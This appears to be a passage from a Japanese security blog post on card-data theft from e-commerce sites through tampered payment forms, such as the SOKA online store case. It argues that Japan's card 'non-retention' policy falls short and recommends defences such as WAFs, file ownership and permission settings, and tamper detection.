ECサイトからのカード情報漏洩として古典的なものには、SQLインジェクション攻撃によるものや、ログファイルからの窃取などがあります。これらは、カード情報をECサイト側で「非保持」とすることで防ぐことができます。
しかし、近年は(非保持化の要求以前から)カード情報をECサイト側で保存することが少なくなってきたので、入力フォームを改ざんしてユーザが入力したカード情報を盗むという方法が増えています。その詳細が公開されているわけではありませんが、筆者はJavaScriptを入力フォームに注入することで、カード情報を外部に送信しているのではないかと推測します。この手口は、日本では2013年3月のJINS事件以降発生しており、その状況をブログ記事にまとめたことがあります(下記)。
そして、この手口に対しては、前述の「非保持化」対応のうち、リダイレクト型であれば対策でき、JavaScript型では対応できないことから、「リダイレクト型の方が相対的に安全」という見方をしておりました。
しかしながら、リダイレクト型・JavaScript型の双方に対応した今回の攻撃により、結局経産省その他が推進している「非保持化」のソリューションは五十歩百歩の効果しかない状態になったなという感想を持っています。

対策

この手口に対するECサイト側の対策ですが、まずは基本的な以下の対策をとる必要があります。
  • ウェブアプリケーションやソフトウェアライブラリ、プラットフォームの脆弱性対策(パッチ適用など)
  • 管理者等のパスワードを強固にする(可能ならばインターネットからは管理者ログインできないよう設定する)
加えて、以下の対策を推奨します。
  • Web Application Firewall(WAF)の導入
  • ファイルパーミッションとファイルオーナーの適切な設定
  • 改ざん検知システムの導入
最近のECサイトからのクレジットカード情報漏洩は、サイトの改ざんを伴うものが大半であることを考えると、ファイルパーミッションの設定と改ざん検知システムの導入は非常に効果があると考えられます。

とくに、ドキュメントルート下のディレクトリ(フォルダ)とファイルに対して、ウェブアプリケーションの権限で更新できないように設定すると、本稿で紹介した攻撃はできなくなります。この場合、単にファイルなどをリードオンリーに設定するだけでは不十分です。ウェブアプリケーションが動作するユーザがファイル等のオーナーになっている場合は、仮にリードオンリーの設定がされていても、攻撃者がまずchmodコマンドなどで書き込み権限を付与できるからです。
このため、ドキュメントルート下のファイル等は、ウェブアプリケーションが動作するユーザとは別のユーザをオーナーにしておくことが好ましいでしょう。一般的なレンタルサーバーではこの設定は難しい(ユーザを1種類しか使えない)ので、レンタルサーバーでECサイトを運営する場合は、脆弱性対処などに特に注意する必要があります。レンタルサーバーでは改ざん検知システムの導入は難しそうですが、最近はWAFが追加費用なしで使えるレンタルサーバーが増えているので、WAFをうまく利用できれば効果的だと考えます。

「非保持化」に対する思い

前述のように、今年の6月1日に改正割賦販売法が施行され、クレジットカード情報を扱うECサイト事業者にもカード情報保護が求められるようになりました。以下は割賦販売法の第三十五条の十六から括弧内の但し書きを抜いて引用したものです。
第三十五条の十六 クレジットカード番号等取扱業者は、経済産業省令で定める基準に従い、その取り扱うクレジットカード番号等の漏えい、滅失又は毀損の防止その他のクレジットカード番号等の適切な管理のために必要な措置を講じなければならない。

割賦販売法 | e-gov より引用
そして、「必要な処置」のガイドラインになるのが、『クレジット取引セキュリティ協議会の「実行計画」』であり、経産省から以下のように「お墨付き」が与えられています。
クレジット取引セキュリティ協議会の「実行計画」は、割賦販売法に規定するセキュリティ対策の実務上の指針と位置付けられており、「実行計画」に掲げる措置又はそれと同等以上の措置を講じている場合には、セキュリティ対策に係る法的基準を満たしていると認められます。

クレジットカード取引におけるセキュリティ対策の強化に向けた実行計画2018(「実行計画2018」)を取りまとめました~国際水準のクレジットカード決済環境の整備を進めます~(METI/経済産業省) より引用
この「実行計画」の柱は「クレジットカード情報の非保持化」であり、実行計画2018には以下のような記述さえ見られます。
2.加盟店におけるカード情報の非保持化の推進について
本協議会は、加盟店におけるカード情報保護のための第一の対策として非保持化を基本とした取組を推進する。
非保持化は PCI DSS 準拠とイコールではないものの、カード情報保護という観点では同等の効果があるものと認められるため、実行計画においては、PCI DSS 準拠に並ぶ措置として整理する。

クレジットカード取引におけるセキュリティ対策の強化に向けた実行計画-2018-【公表版】 より引用
そんなわけねーだろ、と心の中で突っ込んでいたわけですが、あまりに心配なので、ツテをたどって関係者に連絡を試みて不発に終ったりしておりました。なので、今回の事件を見て、「それ見たことか」という気持ちがないわけではありません。
しかしながら、同時に以下のような思いも芽生えました。ECサイト事業者の大半は中小零細企業であり、いきなりPCI DSS準拠を求めるような施策も現実的ではありません。非保持化という施策は、現状でなんとか実行可能で、対策としての効果も見込める(ただし十分とは言えない)ラインをひねり出したものかもしれません(私の妄想ですが)。前述の対策の際に、「レンタルサーバーは使うな」と書かなかったのですが、その理由は「零細なECサイト事業者がレンタルサーバーからVPSに移っても別の問題が生じるしな」という思いがあったからです。
いずれにせよ、今回のような手口が広がれば、今後の「実行計画」の改版の際には、より実効的な内容が求められることになると思います。

まとめ

SOKAオンラインストアからのクレジットカード情報漏洩手段について紹介しました。紹介した手口は、クレジットカード情報「非保持化」では対策できないものであり、今後のクレジットカード情報漏洩事件の主流となる可能性があります。事業者側の施策としては、基本をおろそかにしない一方で、サイト改ざんには特に重点的な施策が望ましいと考えます。具体的にはファイルパーミッションやファイルオーナーの設定、および改ざん検知システムの導入です。

【PR】

【10月24日(水)・11月7日(水)】
『体系的に学ぶ 安全なWebアプリケーションの作り方 第2版』基礎講座・応用講座 ~徳丸本によるホワイトハッカー入門~ 申し込み受付中

フォロワー

ブログ アーカイブ